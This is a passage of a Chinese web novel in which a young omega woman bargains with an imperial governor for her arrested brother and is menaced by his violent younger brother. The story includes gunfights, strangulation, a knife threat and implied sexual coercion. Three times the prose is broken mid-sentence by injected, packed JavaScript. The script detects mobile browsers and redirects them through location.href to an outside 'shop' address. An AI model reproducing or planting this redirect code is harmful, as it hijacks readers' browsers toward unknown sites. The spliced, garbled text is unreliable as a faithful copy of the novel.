听得安德烈说了这么多的调查过程,尤纪的呼吸也急促起来。 她攥紧了身上披着的毛毯,仍旧质疑着:“那肯迪特先生呢?!他可以为我哥哥做不在场证明的!” 安德烈弯腰,那起茶几上的水壶,倒了半杯温水,递到尤纪面前。 “肯迪特在爆炸案的第二天早上去世了,据尸检报告显示,肯迪特的死因是因为熬夜主持葬礼而心脏骤停。 “这有可能只是个巧合,也可能不是……有一些药物也可以表现出心脏骤停的效果……反抗军的刺杀行动中也用过这种药物……” 尤纪一阵一阵的眩晕。 她开始回想起这段时间以来连弛的种种反常行为 ——他像是从什么地方发了一笔财,近半个月总是带回昂贵且丰盛的食材,还在她生日的时候送了一个温珀斯玩偶熊给她。 他甚至带回过一个临期的帝国军用罐头,说有人低价兜售,他买回来尝尝味道。 这样的消费,以连弛的薪资水平是完完全全负担不起的。 有一次,他竟还大夸海口,称要离开平民街,买回那栋因父亲投资失败抵押掉的小别墅,重新回到原来的那个家。 所以,他做这一切是为了钱?或者又是受人指使? 尤纪心慌意乱,接过安德烈递来的的温水,一饮而尽。 “反抗军呢?那些总是在蒂亚区到处搞破坏的一群暴力分子,他们也承认了是他们做的……明明还有那么多人可以抓,你们为什么偏偏要抓我哥哥?!” 安德烈又为尤纪倒了一杯水。 他仍是极其有耐心地回答:“连弛先生没有办法证明他不是反抗军的一员。” “我不信!”尤纪仍然说着,“我哥哥亲口说了,他绝不会参与反抗军!” 面对这样的胡搅蛮缠,安德烈放弃了讲道理,只能从情绪上来安慰这位快要失控的少女。 “尤纪小姐,最终结果未定,目前为止连弛先生只是协助调查,你也不必这么担心……” “真的只是协助调查?” 尤纪的声音里带了一丝哭腔。 这位宛如带刺蔷薇般的Omega少女,在望向年轻副官的眼神里,罕见地流露出脆弱。 而在他们身后,本应该一直埋头工作的桑雷斯·贝德福眯起眼睛,已不知看了他们多久。 “尤纪。” 坐在书桌后的银发总督突然开口,吓了二人一大跳。 “技术性人才在反抗军里属于骨干成员。策划这么大的行动需要不少时间,他一定加入很久了。” 尤纪因这样的无端揣测极其愤怒。她扭头怒视着贝德福,信誓旦旦地开口:“我相信我的哥哥,他绝不会将我卷入危险之中。” 她眼角仍旧带着泪痕,但眼里的游移不定却消失得干干净净。 而她话语之间对至亲毫无保留的信任,在一瞬间刺痛了这位至高无上的当权者。 “你认为你的信任可以推翻审讯队的结果?你又有什么证据证明他的无辜?” 尤纪从沙发上跳起来,快步走到书桌前,向总督提出请求。 “我要见他!我要亲自问他!” 贝德福凝视着她黑色的眼睛。 之前,他听到她哭的时候,有一瞬间想伸手去抚摸她柔顺的长发。 但他的副官不巧又进来了,所以他只能坐在书桌后看着他们二人交流。 而现在,她站在他面前。她的长发柔顺极了,丝丝缕缕地垂在红木书桌的桌面上。 灯光下,发丝隐隐闪耀着光泽,触手可及。 桑雷斯·贝德福想起幼年时期养过的一只猫,明明那么弱小,却敢伸出利爪,挑战他这样的庞然大物。 他托起手肘,用食指缓缓摩挲着颈侧的抑制贴。 他感到自己引以为傲的自制力正在逐渐消失。 桑雷斯·贝德福见过很多帝国的淑女,她们美丽、温驯而柔和,符合男人对于女人的期待。 但尤纪很不一样。 纤细、稚嫩、脆弱,却又锋芒毕露。 倔强、锋利、锐气,却又……不堪一击。 他不禁想着,到底是什么样的家庭,什么样的父母,会养出这样一个omega女性? 探究欲迫使他长久地凝视她,像是猛兽注视着他的猎物,缓慢地露出獠牙。 明明壁炉里也燃着炭火,尤纪却感到一丝丝寒意从小腿一寸寸蔓延上来。她的汗毛根根直立。 她隐藏在书桌下的手缓缓捏成拳头,竭尽所能地抵抗着贝德福所带来的压迫感。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17203733|197317||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 正当桑雷斯·贝德福差一点就要答应她这无理的请求,并且要求她付出些什么来交换时,墙壁上的挂钟响了十一下。 时间过去了十五分钟,尤纪的时间到了。 有一名宪兵推门而入,对沙发边的安德烈说了些什么。 安德烈的愣了一下,和宪兵反复确认后,走到书桌前,开口汇报:“总督阁下,翻译团集体食物中毒住院,医生说需要五天时间才能恢复。” 贝德福总督皱眉沉思。 “有一些紧急翻译任务要被搁置了……”金发副官补充道。 尤纪感激地看了安德烈一眼,立即抓住了这根救命稻草,朝总督开口:“我可以!我可以当临时翻译,来换取见我哥哥一面!” 桑雷斯·贝德福将手从颈侧移开,开始转动大拇指上的扳指。 “安德烈,你今天的话有点多。” 他的话里意有所指。 金发副官立刻站直了身体,朝着总督行了一个军礼:“抱歉,阁下。” “停薪两个月。”贝德福开口。 “好的,阁下。我以后汇报时一定注意周围的人。”安德烈向贝德福低头鞠躬,转身离开办公室。 尤纪注意到,他并未如同来时那般脊背挺直。 她对这位年轻的副官有了一丝微小的愧疚。 但这愧疚很快就因为贝德福的下一句话而消失不见。 “是谁给你的自信,让你认为我会同意?” 尤纪答道:“总督阁下,安德烈刚刚说,有个紧急翻译任务……” “安德烈?”桑雷斯·贝德福尾音上扬,打断她,“一个新人类也敢直接喊帝国少尉的名字,他允许了么?” 尤纪闭了嘴,不再和他争辩副官的称呼问题。 她朝着贝德福挤出一个礼貌且尊敬的笑容。 “总督阁下,我完全可以胜任临时翻译的任务……” 银发总督毫不留情地拒绝:“紧急翻译任务涉及帝国机密,你没有权限参与。” 尤纪脸上的笑容褪却。 她踮起脚,双手撑在桌面上,身体前倾,隔着宽大的书桌,尽可能地距他更近。 在灯光下,尤纪能清楚地看清他眼睛上根根分明的银白色睫毛。 “我早就得知了帝国的机密,不是么?” Omega少女的语音清脆,黑色眼瞳里闪着说不清是恶毒还是仇恨的光。 回应她的,是桑雷斯·贝德福骤然凝缩的视线。 长达半分钟的沉默后,端坐于书桌后的银发总督蓦地冷笑出声:“新人类,你知道你在威胁谁吗?” 尤纪知道自己的行为实在是冒险。 她的话语软下来:“阁下,我不敢威胁您。我只是一个救兄心切的妹妹,希望得到您的帮助。” 贝德福吸了一口燃烧着的雪茄,讥讽地笑着:“你这是求人的态度吗?” 没等尤纪答话,他继续道:“我现在就可以处决你。” “那请将我和哥哥的尸体葬在一起。” 尤纪垂下眼帘,盯着自己因用力过度而发白的指尖。 ——她赌他对她尚存一丝微弱的怜悯。 贝德福盯着她几乎站不稳的身体,突然问:“你能为他做到什么地步?” 尤纪很轻很轻地回答他:“我可以为他去死。” 偌大的办公室里,空气再一次凝固,只能听见秒针“滴答滴答”的机械音。 8. 不速之客 “呀!桑雷斯!” 正当此时,大门被一双白色的马靴踹开。 一个身材瘦削、穿着华贵的白色西服的年轻军官闯进来,打破办公室内无声的对峙。 来人银灰色的长发高高地束在脑后,面容和桑雷斯·贝德福有七八分相似,手上则带着一双金线包边的纯白手套。 年轻军官气质浮夸,径直走到银发总督的书桌前,行了个不那么标准的帝国军礼。 “好久不见啊桑雷斯!没想到你把这蛮荒之地治理得还挺像回事的嘛!” 随着新访客的到来,压抑的氛围一扫而空。 一丝说不清、道不明的微妙在兄弟二人之间蔓延开来。 蒂亚区总督拧起眉,冷冷开口:“兰德尔,眼下与联邦交战,谁允许你擅离职守的?” 听闻此言,这位如开屏孔雀般的年轻军官笑了笑,丝毫不畏惧总督的威严。 “北方要塞嘛,有我没我不都一样。我亲爱的哥哥,听说您这儿的通讯塔被炸了,姐姐非常关心,特别派我这个得力助手来协助你调查,命我一定要将案子查个明白……” 他故意加重了“姐姐”、“得力助手”、“协助调查”几个词,目光扫过尤纪时停留了几秒,似是被这份美貌所惊艳,最后却又嬉皮笑脸地回到桑雷斯·贝德福身上。 桑雷斯面色不善:“蒂亚区的事情,什么时候轮到赛琳娜插手了?” 尤纪屏住呼吸,退到一边。 ——原来眼前这个举止轻佻的青年军官,正是总督口中那“愚蠢的弟弟”,而“赛琳娜”就是那位“冷酷的姐姐”。 她并不想卷入帝国的斗争中,但兰德尔这位不速之客的骤然介入,将会让连驰的处境雪上加霜。 “好吧,我是奉姐姐之命过来调查案件,顺便度假的。” 这位吊儿郎当的帝国第三顺位继承人两手一摊,说明了真正的来意。 “你也知道,现在北方要塞实在是太冷,帝国的夏天又太热,还是蒂亚这边的天气舒服。” 看来确实是个不学无术的浪荡子。 尤纪长舒一口气。 正当她转身,准备识趣地离开办公室,给这许久不见的兄弟二人一些谈话空间时,兰德尔·贝德福却对她开了口。 “这位美丽的小姐,您叫什么名字?是蒂亚原住民对吗?” 尤纪面带微笑地告诉兰德尔自己的名字。 “尤纪?真是个好听的名字,和你的面容一样美丽。” 兰德尔笑着夸赞了她,又重新将视线移回到银发总督身上。 “亲爱的哥哥,来得匆忙,我没有带翻译呢。你这儿有没有翻译借给我?我真是迫不及待地要体验一下蒂亚风情了。” 尤纪用眼角余光飞快地撇了桑雷斯一眼,正好对上他警告的目光。 她一咬牙,将救出连弛的希望押到了这位和总督并不太对付的兰德尔身上。 “兰德尔殿下,我就是总督阁下新招进来的翻译。” 兰德尔立即道:“那太好了!尤纪小姐,有您的陪伴,一定会是非常浪漫的异国之旅。” 他拉起尤纪的手,眼看就要离开,被桑雷斯脸色铁青地叫住了。 “不行?” 兰德尔大呼小叫:“桑雷斯,我只是找你借一个翻译,没想到你居然……区区一个总督,你居然敢……我回去一定要告诉姐姐和父亲!” 尤纪适时地接话,安抚他的情绪:“兰德尔殿下,我也非常想立即给您介绍蒂亚风情,和您来一场浪漫的异国之旅。您是如此的英俊潇洒,身份尊贵…… “可是我现下有一个紧急翻译任务,涉及到帝国前线的军需……这是我的工作,希望您理解。等这项任务结束了,我再陪您一同游玩,可以吗?” 很显然,在尤纪故意夸大的奉承下,这位头脑空空的皇子殿下已经晕头转向,并未觉察到“蒂亚区原住民参与涉及帝国前线军需的紧急翻译任务”有什么问题——虽然这是尤纪信口胡诌的。 得到尤纪“以后一定陪他游玩”的承诺后,他心满意足地离开办公室,临走前还对尤纪眨了眨他海蓝色的漂亮眼睛。 尤纪也对他眨了眨眼睛,和他道别。 “总督阁下,我想和您做个交易。” 尤纪回过头,脸上重新绽放笑容。 她知道这个机会千载难逢。 “释放我哥哥,我帮您解决那‘愚蠢的弟弟’。” 桑雷斯·贝德福从座椅上站了起来。 他的身躯遮挡了光线,将尤纪整个人笼罩在他的阴影里。 “你很聪明,也很懂得审时度势。” 银发总督破天荒地夸赞她:“但是仅凭如此,就想让我释放一个有重大作案嫌疑的新人类,还不够。” “那如果加上当您的临时翻译呢?直到帝国翻译团队痊愈……我只需要见连弛一面。”她跟他讨价还价。 “你没有资本和我谈条件。” 贝德福面无表情地从抽屉中拿出一把手木仓,当着尤纪的面,一颗一颗地往弹巢里装填子弹。 尤纪瞬间就明白了他想做什么——他要处决她,然后将她和连弛的尸体埋在一起。 她眼睁睁看着子弹填满弹巢。 在死亡面前,尤纪手脚冰凉,呼吸急促。 她想说些什么,可喉咙像是被一只无形的大手攥紧,一个字都说不出来,反而小腿打颤,摇摇欲坠。 她低估他的自控力了。 他对她从未有过怜悯,甚至会因为她知道了他的秘密而杀死她。 正当尤纪准备闭上眼睛迎接死亡之时,骤然间肩膀一沉。 银发总督左手压下正在发抖的omega少女的肩膀,另一只手撑着办公桌,以极快的速度侧身翻过红木书桌,又拿起填满子弹的手木仓,单手按下击锤,朝着大门的方向开了一枪。 那之后,他又就地一滚,将沙发当作了掩体。 去而复返的兰德尔刚拧开门把手,迎接他的就是这冷冰冰的子弹。 他侧身躲过这突如其来的子弹,将手中的手木仓对准了沙发。 他面带微笑地说:“我亲爱的哥哥,你就是这么对待我这个远道而来的客人吗?” 桑雷斯从沙发后探身,以一颗子弹回击了兰德尔的问话。 兰德尔弯腰躲开,朝着绛红色的丝绒沙发开了一枪。 在那之后,兄弟二人不再说话,只有子弹你来我往,击中办公室内的各类家具。 尤纪被他们的动作惊呆了。 好在没有人注意到她,她小心翼翼地躲 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17203734|197317||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着飞来的流弹,藏进了办公桌的底下,双手抱着腿,不住地发抖。 她听见了水晶灯被打碎的声音,裂开的碎片撒了一地,还有两声子弹嵌入墙壁所发出来的沉闷声响。 一片混乱之中,不知是谁被命中,发出一声闷哼,然后又是一记破空声。 有子弹集中了茶几上的帝国牌红酒,清晰的玻璃碎裂声后,红酒流淌到地毯上,令人沉醉的酒味在办公室内蔓延开来。 再之后,经历突袭的办公室再没有了子弹破空的声音,只余下不断喘息的人声。 尤纪能听出来,是总督在喘息。 他的嗓音十分低沉,和兰德尔清朗的少年音色全然不同。 是桑雷斯中弹了。她闻到混着铁锈味的苦艾信息素。 尤纪小心翼翼地从办公桌底下探出头,却看到兰德尔用纯白的手套揩去侧脸上的血迹。 他抬步,白色的马靴踩过一地的水晶碎片,朝着尤纪的方向走过来,用一种非常不满的语气抱怨着:“亲爱的哥哥,你怎么可以打脸呢?我都破相了,该怎么面对这位美丽的翻译小姐呢?” 桑雷斯从藏身的沙发一侧站起身,顺手丢了手中弹夹已空的手木仓。 他左捂着右侧肩膀,脸色不善地盯着兰德尔:“你送我这么大一份见面礼,就是为了这个卑贱的新人类?” 若有若无的苦艾信息素飘过来,尤纪的腺体虽然未有反应,却下意识地觉得腿发软,根本无法站立。 “哥哥,话不要说得那么难听,”兰德尔将尤纪扶起来,拿出手绢按上了尤纪被流弹擦出血痕的手腕,“尤纪小姐的美丽超越了她的种族。” 他的脸色堪称愉悦,扶起尤纪的动作又极其温柔,还小声地朝着尤纪道了个歉。 “很抱歉吓到你了,尤纪小姐。” 兰德尔伸出手摸了摸尤纪的头发,见尤纪惊魂未定,站都站不稳,便搂着尤纪的腰,扶她站起来,让她的头靠在自己的肩膀上。 他转头,朝肩膀还流着血的桑雷斯轻飘飘地开口:“还不叫你的宪兵进来吗?他们在门口等着呢,可别等到你血流干净了。” 桑雷斯迈开长腿一步步地走过来,在兰德尔面前站定。 他高耸的眉骨压得极低,盯着快要搂作一团的二人,阴沉沉地说:“和新人类为伍,你真是下贱。” 兰德尔并未理会他。 他搂着浑身发软的尤纪,慢慢地往大门那边走。 “我只是想要一个翻译陪我逛一逛而已。亲爱的哥哥,待我休假结束,保证把人完好无损地给你送回来。” 兰德尔的腿刚迈出门槛,就有一列宪兵涌入这经历一轮枪战的办公室。 副官安德烈也在其中,他欲言又止地看着尤纪,最后还是什么也没说,提着医药箱进去了。 “回来。” 嘶哑的声音从后方传来,尤纪回头看了一眼,刚好对上桑雷斯阴鸷的眼神。 她的脚步一顿。 “怎么了,尤纪小姐?” 兰德尔仿佛没有听见桑雷斯的话,他非常温柔地询问尤纪是否要跟他走。 “您初次到来,确实需要一个熟悉蒂亚的人带领您游玩。” 尤纪在兰德尔的臂弯中慢慢地挺直了腰,头也不回地跟着他离开办公室。 9. 兰德尔·贝德福 离开总督办公室后,那股始终萦绕着的压迫感总算是消失了。 尤纪松了一口气。 走廊内端着枪巡视的宪兵们目不斜视,仿佛没有看到他们二人。 “美丽的翻译小姐,”兰德尔嘴角牵起笑容,但他的笑意不达眼底,“我的脸受伤了,这可怎么好。” 尤纪刻意地表露出关切:“不知道总督署是否有医疗室?您需要医生为您好好消毒,以免在英俊的面容上留下疤痕。” “找个宪兵带路就好。” 兰德尔眼睛也不眨地盯着尤纪,好几秒后,他猛地捉起尤纪受了伤的手腕。 “尤纪小姐的手也受伤了。” 他的动作太快,力道又太大,尤纪根本挣不脱。 被兰德尔捏着手的感觉怪异极了,她一掀眼皮,冷不丁看到他毒蛇一样的目光。 再一看时,他的眼神又是温和而干净的,没有任何异样。 医疗室在二楼,里面并没有其他的病人。 这里的医疗室和蒂亚区的医院一样,总是有一股消毒水的味道。 尤纪和兰德尔坐在病床上,穿着白大褂的医生走过来给他们消毒。 医生用镊子夹了碘酒,仔仔细细地擦拭兰德尔脸上被子弹擦过的伤口,兰德尔大呼小叫地喊疼,像一个无法忍受疼痛的贵公子。 他把尤纪的手腕攥得更紧,那力气实在太大,铁箍一般挣扎不拖。 医生抬眼看了一眼兰德尔,并未说话,只是加重了手上的动作。 待到医生要帮尤纪处理伤口时,兰德尔才松开手。 少女白嫩的手腕迅速地浮现出青紫的痕迹。 “对不起,”兰德尔这才开口道歉,“是我太紧张了,尤纪小姐。” 他冰蓝的眼睛里满是慌张,这让尤纪以为刚才那毒蛇般的目光是她的错觉。 尤纪忍住怪异的感觉,朝着兰德尔微微笑了,又适当地演出担忧的表情,蹙着眉毛忧心忡忡。 “殿下,您和总督阁下这样……真的不会有问题吗?这太危险了,一不小心就会受伤。” 兰德尔也不顾医生在场,笑着朝着尤纪解释:“这不会危及到生命的,尤纪小姐你放心吧。” 他的眼睛骤然放空,像是想起了什么久远的往事,声音也飘起来。 “我和哥哥从小就是玩枪击游戏长大的……在帝国的皇宫,我们经常这样……” 尤纪心中泛起细密的寒意。 一开始,她还以为他们兄弟之间只是不和睦而已。 哪知道是从小就拔-枪对-射的那种不和睦! 医生给他们二人伤口都做了处理,随后提着医疗箱便离开了病房,留下尤纪和兰德尔独处。 蓝色的窗帘被风吹起来,露出窗外那颗绿意葱茏的大树。 此时,雨势停歇,太阳从乌云中探头,撒落金光。 天空逐渐晴朗,一碧如洗,是蒂亚雨季里难得的好天气。 这样的好天气,很适合去一些景点游玩。 尤纪正想着怎么跟兰德尔开口,哄着他在游览蒂亚大街小巷的时候顺带去一趟关押连弛的监狱,兰德尔就突然凑了过来。 他像一条狗那样凑到尤纪的胸前,在她伶仃的锁骨处细细嗅闻。 “尤纪小姐,你身上有一股香气。” 兰德尔的眼睛睁得有些过于大了,尤纪能看到他虹膜上放射状的纹理。 不知什么时候,他的白眼球上布满了细细密密的血丝,像是蜘蛛的网一样要将人缠进去。 “听哥哥说你是新人类,你是什么性别呢?Beta,还是Omega?” 这距离太近了。 尤纪心脏咯噔一下,悄悄往病床旁边挪了一点,谁知兰德尔的手又轻轻地放在了她的肩膀上。 他撑着身体靠过来,一只手撑在尤纪的大腿边,悄无声息地阻挡了尤纪逃离的路线。 “尤纪小姐。” 兰德尔仍旧用着小姐的称呼,保持着这样半拥抱的姿势,在尤纪耳边轻声询问着。 “我哥哥今年27岁了,一直都是单身,我们都以为他眼光太高,看不上帝国的贵族女性。” 尤纪心中警铃大作。 他什么意思? 他是想从她口中问出桑雷斯的秘密吗? 作为帝国的高层、桑雷斯的亲弟弟,兰德尔竟然不知道自己的哥哥是个混血的Alpha? 他甚至以为桑雷斯只是眼光高! 之前她猜测桑雷斯的新人类基因来自于他的母亲,但兰德尔很明显是个人类。 所以,桑雷斯和兰德尔不是同一个母亲? 这句话的信息量太大了,尤纪根本不知道怎么回答。 兰德尔审视着她的表情,似乎是觉得她的反应很有趣。 “没想到他竟然喜欢新人类吗?真是奇特的口味。” 他的声音很轻、很柔,带着阴恻恻的浮荡感。 “真奇怪啊,他不是最嫌弃新人类了吗?他还说,新人类都是一群到了发-情-期只知道交-配的动物……” 出现了。 那种被毒蛇盯上的感觉又出现了。 医疗室内的兰德尔,和总督办公室的兰德尔仿佛是两个人。 尤纪勉强保持着礼貌的笑容:“我是个Beta。兰德尔殿下,我听不懂你在说什么,我只是总督的翻译!” “哦?是这样吗?” 兰德尔的另一只手也撑在了尤纪的大腿旁,从外人的角度上来看,他简直是要把尤纪压倒在病床上了。 “听说Beta有两套……你只是翻译的话,可以让我看看你的……” 温柔的呼吸就在尤纪的耳畔,尤纪头皮发麻,猛地推开兰德尔,牙齿咬得咯咯作响。 她犯了一个错。 她不该把救出连弛的希望押在兰德尔身上。 他根本不是她所以为的头脑空空的浪荡子! 这压根是个变态! 她宁愿跟桑雷斯打交道,也决不愿意招惹上这样的变态。 “非常抱歉,兰德尔殿下。” 尤纪忍着心中的不适,尽量委婉地拒绝他。“这是非常失礼的行为,我不希望您见到我失礼的一面。” 道歉只是为了拖延时间。 尤纪的眼睛四处扫视,寻找着离开路径。 但很明显,兰德尔看出了她的意图。 他站起身,摘下手上染了血的手套,随后从军靴侧面拔-出了一把匕首。 匕首的手柄上镶嵌着许多宝石,刀刃闪着寒光,倒映着他深邃的轮廓。 有风从走廊那边吹过来,他银色的发丝触碰到刀刃的边缘,倏地断了。 他脸上挂着的、那张皮一样的笑容迅速地消失不见,取而代之的只有漠然。 当他空洞的眼神望过来时,尤纪呼吸猛地一滞,下意识地往床底下躲。 “砰”的一声,医疗室的门关上了。 “咔哒”一声,窗户也锁上了。 他想杀她! 尤纪连滚带爬,换了一张病床躲,想尽量离这个变态远一些。 兰德尔的脚步朝着她走近,他口中阴恻恻地说着:“躲有用吗?尤纪小姐,既然你只是个无足轻重的女翻译,那就怪不得我了。” 明明是清清爽爽的少年音,此刻却诡异得仿佛地狱中传来的死亡预告。 尤纪屏住呼吸,缩成一团,根本不敢说话。 她无比清晰地认知到,自己想找兰德尔求助是个多么愚蠢的错误。 他的变态程度甚至超过他的兄长。 至少桑雷斯的暴怒有迹可循。 没有听到尤纪的回答,兰德尔并未生气。 他愉快地笑出声:“哥哥说得也对,和新人类为伍的我真是下贱。那就把你杀了好了,把你杀了,我就不下贱了……” 尤纪毫不怀疑,只要被他抓到,她一定会死在他手里。 白色马靴越来越近,她盯着木桌上的那个医用托盘,准备用钢托盘来抵挡兰德尔的匕首。 那把匕首并不长,只要她足够快,甚至可以从他的腋下躲过,然后用托盘击晕他,开门逃出去。 正当此时! 医疗室的大门又被人踹开,沉重的脚步声往病床边走过来。 随后,尤纪听见了桑雷斯隐含怒气的声音。 “玩够了吗,兰德尔?” 兰德尔扔掉手中的匕首,两手一摊,轻轻笑起来:“我只是逗一逗这位翻译小姐罢了,桑雷斯,你紧张什么?” “不过一个低贱的新人类罢了。” 这匕首刚好掉落在尤纪的身前,只要一伸手就能抓住它。 只要抓住它……然后威胁兰德尔或者是桑雷斯……让他们放了连弛。 这个念头刚出现, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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桑雷斯认为,作为一个兄长,此时确实有必要需要履行兄长的职责。 兰德尔应当为他无礼的行为付出代价。 银发总督以迅雷不及掩耳之势伸出手,扼住了弟弟的咽喉。 兰德尔的面容通红,表情却并不痛苦,看起来甚至有些茫然。他捏住桑雷斯的手腕,断断续续地说:“看来……我亲爱的……哥哥还真的……很在意……” 桑雷斯眯起眼睛。 他的鼻尖萦绕着一丝若有若无的莲花幽香。这个香味是从兰德尔的身上传来的。 只是扼住兰德尔的脖子当然不够,桑雷斯想。 他清楚自己弟弟的性格,他需要更严厉一点的管教。 银发总督一脚踢起地面的宝石匕首,用空出来的手接住,自下往上地抵住了兰德尔的胸口。 兰德尔简直不敢相信发生了什么。 他看到了哥哥眼里的杀意,即使那杀意只是一闪而过。 “桑雷斯,你……你要杀我么?” 桑雷斯并不理会兰德尔的问话。 他一言不发地将兰德尔压到医疗室的墙壁上,一点点加重了手中的力度——他用行动回应了他。 很快,兰德尔面容变得青紫,眼球中的毛细血管破裂,满眼都是红血丝。 而抵住他胸口的匕首也刺破制作精良的白色西装,鲜红的血液顺着匕首的导流槽流到桑雷斯的黑色皮革手套上,再从手腕处一滴一滴地滴落在地面。 面对死亡的威胁,兰德尔也并未生出反抗的意图,他只是怨毒地质问着。 “她只是一只老鼠……而我,是你……亲爱的兰德尔啊……” 一滴,两滴,三滴…… 在匕首尖差一点就要刺破兰德尔心脏的时候,桑雷斯松开手,任由他捂住胸口、跪在地上咳嗽不止。 “这是对你的回礼。”他将染了血的手套丢在了地上。 黑色的手工皮鞋消失在走廊尽头,兰德尔跪伏在地上,朝着桑雷斯离开的方向伸出鲜血淋漓的手。 他目光失焦,眼睛里荒芜一片,口中喃喃自语:“哥哥……” 10. 总督邀你共进晚餐 离开医疗室几十米的距离,尤纪仍未从那场恐怖的逃杀游戏中回过神。 但还有更要紧的事情——刚刚她亲口听总督说,让她去翻译室。 这是否说明,她提出来的交易成立了? 尤纪扬起沾了灰的脸,急不可耐地朝安德烈确认。 “安德烈副官,请问,这真的是去往翻译室的路吗?” 这位年轻的金发军官显然更让她有安全感。 少女的眼角挂着摇摇欲坠的泪珠,这让安德烈想起他的妹妹。 他不敢直视少女期冀的目光,只能盯着走廊上石膏雕花的吊顶。 “总督的吩咐是带你回到别墅。” 少女眼中的期待瞬间黯淡了下来。 她像是一朵迅速枯萎的蔷薇花——安德烈的心中突然冒出这样的想法来。 很快,他移开目光,继续转达着蒂亚区总督的话:“总督邀你共进晚餐。” “什么?”尤纪眨了眨眼睛,没反应过来。 邀一个“贱民”共进晚餐? 作为一个得知他秘密的“贱民”,吃饱了饭就送她上路? “不是有一个紧急翻译任务……” 如果你们不再需要翻译,我还能用什么作为救出连弛的交换呢? 走廊内还有端着枪巡逻的宪兵,安德烈看了一眼他们,又低声重复:“总督邀你共进晚餐。” 尤纪的脸慢慢白了。 “是最后的晚餐吗?”她的眼眶又红了,“可以拜托你,在我死后,把我和我哥哥埋在一起吗?” 安德烈低头看着尤纪,突然发现这个刚成年的omega少女并不理解“邀请共进晚餐”的隐喻。 这是属于成人世界的规则,他本以为她会懂。 尤纪的生平是安德烈亲自调查的。 新人类家庭,父母和兄长都是Beta,父亲是蒂亚国生命科学研究院的研究员,母亲是蒂亚国立大学的帝国语教授,兄长曾就读于通讯系。 非常标准的中产阶级家庭。 在战后,无数这样的家庭阶级滑落,子女被迫辍学工作,早早就懂得了社会运行的规则。 各种各样的规则,明着的,暗着的,私底下的。 但尤纪很明显不懂。 她仍旧保持着这个年纪应当有的天真,天真到有些可笑。 就像是……一直被养在玻璃罩子里的蔷薇花,从未经历过苦难。 兄长被涉嫌重案或许是她经历过的最大挫折。 安德烈又想起了自己的妹妹。 他认为有必要跟尤纪谈谈。 尤纪跟着安德烈到了一间没有人的房间。进门之前,她看了一眼门牌,上面写的是审讯室。 她坐在椅子,双手交握放在大腿上,心里七上八下地打着鼓。 作为连弛的家属,她终于要被审问了? 家里已经被他们搜过一遍了,反抗军徽章并没有被发现。 是要她要说出连弛近期的怪异行为? 不,这并不奇怪,他们家以前就是那样的,只是维持从前的生活水准而已。 连弛一天打三份工,也没有其他乱七八糟的朋友。 尤纪在心中飞速地想着应对的话语,也做好了被戴上手铐审问的准备。 但这些都没有。 安德烈坐在尤纪对面,缓缓开口:“总督阁下目前仍在易感期……” 准备好的说辞都没有派上用场,尤纪怔住。 先前,她以为他们那场意外只是因为Alpha受到Omega成年的影响而失控。 原来桑雷斯竟是在易感期吗? 她猜想总督或许是需要一个omega帮助他渡过易感期。或者说是,抚慰。 但总督是个混血儿。 尤纪不知道怎么抚慰一个残疾的Alpha。 “我可以帮助总督渡过易感期,”尤纪试探着开口,“我需要用自己来交换我哥哥的平安吗?” 有些话是可以说出口的,但有些话不能。 安德烈可以把握其中的界限,用一些隐晦的话语来替代。 但尤纪问出来的问题让他觉得棘手——她问得太直白了,简直让他无从回复。 出于谨慎的原因,他只能这样告诉尤纪:“我只是总督的副官,并不能代替总督决定。” 尤纪消化着安德烈话语中的含义。 所以,安德烈也不能保证连弛能从监狱里放出来。 这并不是一场公平的交易,需要她自己去争取。 见尤纪仍在怔忪中,安德烈又低声说:“尤纪小姐,请为我保守秘密。这个消息并未获得总督的允许。” 尤纪盯着安德烈的眼睛:“为什么要帮我?” 他是帝国内部的和平爱好者吗?还是出于别的目的? 安德烈有一双翠绿的眼睛,像是尤纪曾经见过的平静的湖面。 那双眼睛只看了她一眼,就望向了别处。 “我只是提前几个小时告诉你而已,这并不违规。” 眼见尤纪没有回答,安德烈又补了一句:“总督永远会得到他想要的东西。如果您可以平静地接受,我们的工作也更好开展。” 这确实是无懈可击的理由。 安德烈害怕她拒绝总督的要求,从而给他的工作造成麻烦。而如果提前告知,她会有更多的时间来做好心理准备。 见尤纪并不排斥,安德烈转而跟她谈论起其他的事情。他认为有必要让尤纪对权力有一个更加客观的认识。 “麦肯·威尔森先生正在接受停职调查。而且,上一次你与总督阁下在办公室见面后,整层楼的巡逻宪兵都被送去北方要塞……” “北方要塞?” 安德烈点点头:“是的,那个被成为绞肉机的前线。但其实,他们都不知道内情。请您务必保守秘密。” 尤纪的后背冒出冷汗。 她从帝国报纸上看到过北方要塞的战事,听说那里的生还率不足百分之十。 她甚至开始庆幸自己在遇到桑雷斯的时候突然成年了,而他刚好是个正在易感期的Alpha。 如果不是这样的巧合,他或许已经是漂浮在蒂亚河流上的一具尸体。 “谈话结束了,尤纪小姐。我送你离开总督署。” 之后的一路,他们都没有再有过的交谈。 